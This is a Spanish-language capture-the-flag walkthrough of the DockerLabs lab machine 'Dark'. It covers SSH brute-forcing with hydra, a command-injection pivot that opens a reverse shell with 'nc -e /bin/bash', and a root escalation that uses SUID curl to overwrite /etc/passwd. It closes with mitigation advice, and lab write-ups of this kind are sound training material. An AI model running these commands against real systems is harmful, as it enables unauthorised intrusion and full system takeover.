Dark
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Dark, desarrollada por makak77 para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario avanzado de pivoting entre dos hosts interconectados.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de rutas en el host accesible.
- Explotación: Ataque de fuerza bruta a credenciales SSH y descubrimiento de inyección de comandos.
- Pivoting: Salto desde el primer host al segundo mediante inyección de comandos.
- Escalada de privilegios: Abuso de permisos SUID en el segundo host para obtener acceso root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, representando un escenario realista de red segmentada.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Dark |
| Autor | makak77 |
| Dificultad | Medio |
| Fecha | 21/12/2024 |
| Plataforma | DockerLabs |
| Arquitectura | Dos hosts interconectados |
Topología de Red
Sección titulada «Topología de Red»┌─────────────┐ ┌─────────────┐ ┌─────────────┐│ Atacante │──────│ Host 1 │──────│ Host 2 ││ 10.10.10.1 │ │ 10.10.10.2 │ │ 20.20.20.3 ││ │ │ 20.20.20.2 │ │ │└─────────────┘ └─────────────┘ └─────────────┘Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos los archivos de la máquina y los desplegamos:
unzip Dark.zipsudo bash auto_deploy.sh Dark1.tar Dark2.tarMáquina desplegada desde dark1.tar, sus direcciones IP son --> 10.10.10.2 20.20.20.2Máquina desplegada desde dark2.tar, sus direcciones IP son --> 20.20.20.31.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Dark/{content,exploits,nmap,gobuster,scripts}cd DarkFase 2 — Reconocimiento del Host 1
Sección titulada «Fase 2 — Reconocimiento del Host 1»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN en el primer host accesible:
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 1: Servicios expuestos en el Host 1
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»Realizamos un escaneo exhaustivo de directorios:
feroxbuster -u http://10.10.10.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 2: Directorios descubiertos en el Host 1
2.3 Enumeración de Rutas Web
Sección titulada «2.3 Enumeración de Rutas Web»-
/index — Formulario para ingresar URLs
Figura 3: Formulario que acepta URLs externas
-
/info — Página informativa que revela un usuario
Figura 4: Información que revela el usuario “toni”
2.4 Descubrimiento del Host 2
Sección titulada «2.4 Descubrimiento del Host 2»Utilizando el formulario en /index, probamos acceder a la segunda dirección IP descubierta:
http://20.20.20.3
Figura 5: Sitio web del Host 2 accesible desde el Host 1
Fase 3 — Acceso Inicial al Host 1
Sección titulada «Fase 3 — Acceso Inicial al Host 1»3.1 Ataque de Fuerza Bruta SSH
Sección titulada «3.1 Ataque de Fuerza Bruta SSH»Con el usuario “toni” descubierto, realizamos un ataque de fuerza bruta:
hydra -l toni -P rockyou.txt -u ssh://10.10.10.2 -I -f
Figura 6: Credenciales SSH comprometidas
Credenciales obtenidas: toni:iloveme
3.2 Conexión SSH
Sección titulada «3.2 Conexión SSH»Nos conectamos al Host 1:
ssh toni@10.10.10.2
Figura 7: Acceso SSH como usuario toni
Fase 4 — Pivoting al Host 2
Sección titulada «Fase 4 — Pivoting al Host 2»4.1 Análisis del Historial de Comandos
Sección titulada «4.1 Análisis del Historial de Comandos»Revisamos el historial de bash del usuario:
cat ~/.bash_history
Figura 8: Comandos históricos revelando inyección de comandos
Hallazgos críticos:
- Un listener en puerto 53 fue activado
- Se envió una solicitud a
http://20.20.20.3/process.php - El parámetro
cmdes vulnerable a inyección de comandos
4.2 Explotación de la Inyección de Comandos
Sección titulada «4.2 Explotación de la Inyección de Comandos»Abrimos dos sesiones SSH al Host 1:
Sesión 1 - Listener:
nc -nlvp 53Sesión 2 - Exploit:
curl --data "cmd=nc -e /bin/bash 20.20.20.2 53" http://20.20.20.3/process.php4.3 Conexión Exitosa al Host 2
Sección titulada «4.3 Conexión Exitosa al Host 2»
Figura 9: Shell como www-data en el Host 2
Fase 5 — Escalada de Privilegios en el Host 2
Sección titulada «Fase 5 — Escalada de Privilegios en el Host 2»5.1 De www-data → Shell Normalizada
Sección titulada «5.1 De www-data → Shell Normalizada»Primero estabilizamos la shell obtenida:
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermexport PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin5.2 Enumeración de Permisos
Sección titulada «5.2 Enumeración de Permisos»Verificamos privilegios disponibles:
sudo -lfind / -perm -4000 2>/dev/null
Figura 10: Binarios con bit SUID habilitado
Hallazgo crítico: curl con permisos SUID.
5.3 De www-data → root
Sección titulada «5.3 De www-data → root»El binario curl con SUID permite sobrescribir archivos del sistema como root. Aprovechamos esto para modificar /etc/passwd:
-
Creación del archivo modificado:
Ventana de terminal cp /etc/passwd /tmp/newpasswdsed -i 's/^root:x:/root::/' /tmp/newpasswd -
Sobrescritura del archivo original:
Ventana de terminal curl file:///tmp/newpasswd -o /etc/passwd
5.4 Obtención de Acceso Root
Sección titulada «5.4 Obtención de Acceso Root»Con la contraseña de root eliminada, podemos cambiar directamente a usuario root:
su root
Figura 11: Acceso root obtenido en el Host 2
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»6.1 Fallos de Seguridad Identificados
Sección titulada «6.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Credenciales SSH débiles | Alta | Acceso inicial al primer host | CWE-521 |
| Inyección de comandos en process.php | Crítica | Pivoting al segundo host | CWE-78 |
Permisos SUID en binario curl | Crítica | Elevación de privilegios a root | CWE-269 |
| Exposición de información en archivos de historial | Media | Facilitación del ataque | CWE-200 |
| Arquitectura de red sin segmentación adecuada | Alta | Pivoting lateral facilitado | CWE-923 |
6.2 Recomendaciones de Mitigación
Sección titulada «6.2 Recomendaciones de Mitigación»-
Gestión de Credenciales:
- Implementar políticas de contraseñas complejas (mínimo 12 caracteres, mezcla de tipos)
- Utilizar autenticación por clave SSH en lugar de contraseñas
- Implementar 2FA para acceso administrativo
-
Protección contra Inyección de Comandos:
- Validar y sanitizar todos los parámetros de entrada
- Utilizar listas blancas de comandos permitidos
- Implementar funciones de escape de shell
- Revisar y parchar scripts PHP vulnerables
-
Gestión de Permisos SUID:
- Auditar y eliminar bits SUID innecesarios
- Especialmente en binarios como
curl,wget,python, etc. - Implementar herramientas como
sudocon comandos específicos - Utilizar capacidades Linux en lugar de SUID cuando sea posible
-
Seguridad del Historial:
- Configurar
HISTCONTROL=ignorespacepara omitir comandos con espacio inicial - Limitar tamaño del historial con
HISTSIZEyHISTFILESIZE - Implementar monitoreo de archivos de historial
- Utilizar herramientas de gestión centralizada de logs
- Configurar
-
Segmentación de Red:
- Implementar firewalls entre segmentos de red
- Restringir comunicación lateral innecesaria
- Utilizar VLANs para aislamiento
- Implementar reglas de filtrado basadas en necesidad
-
Hardening del Sistema:
- Implementar SELinux/AppArmor para confinamiento
- Configurar sistemas de detección de intrusión (IDS)
- Monitorear modificaciones en archivos críticos como
/etc/passwd - Realizar auditorías de seguridad periódicas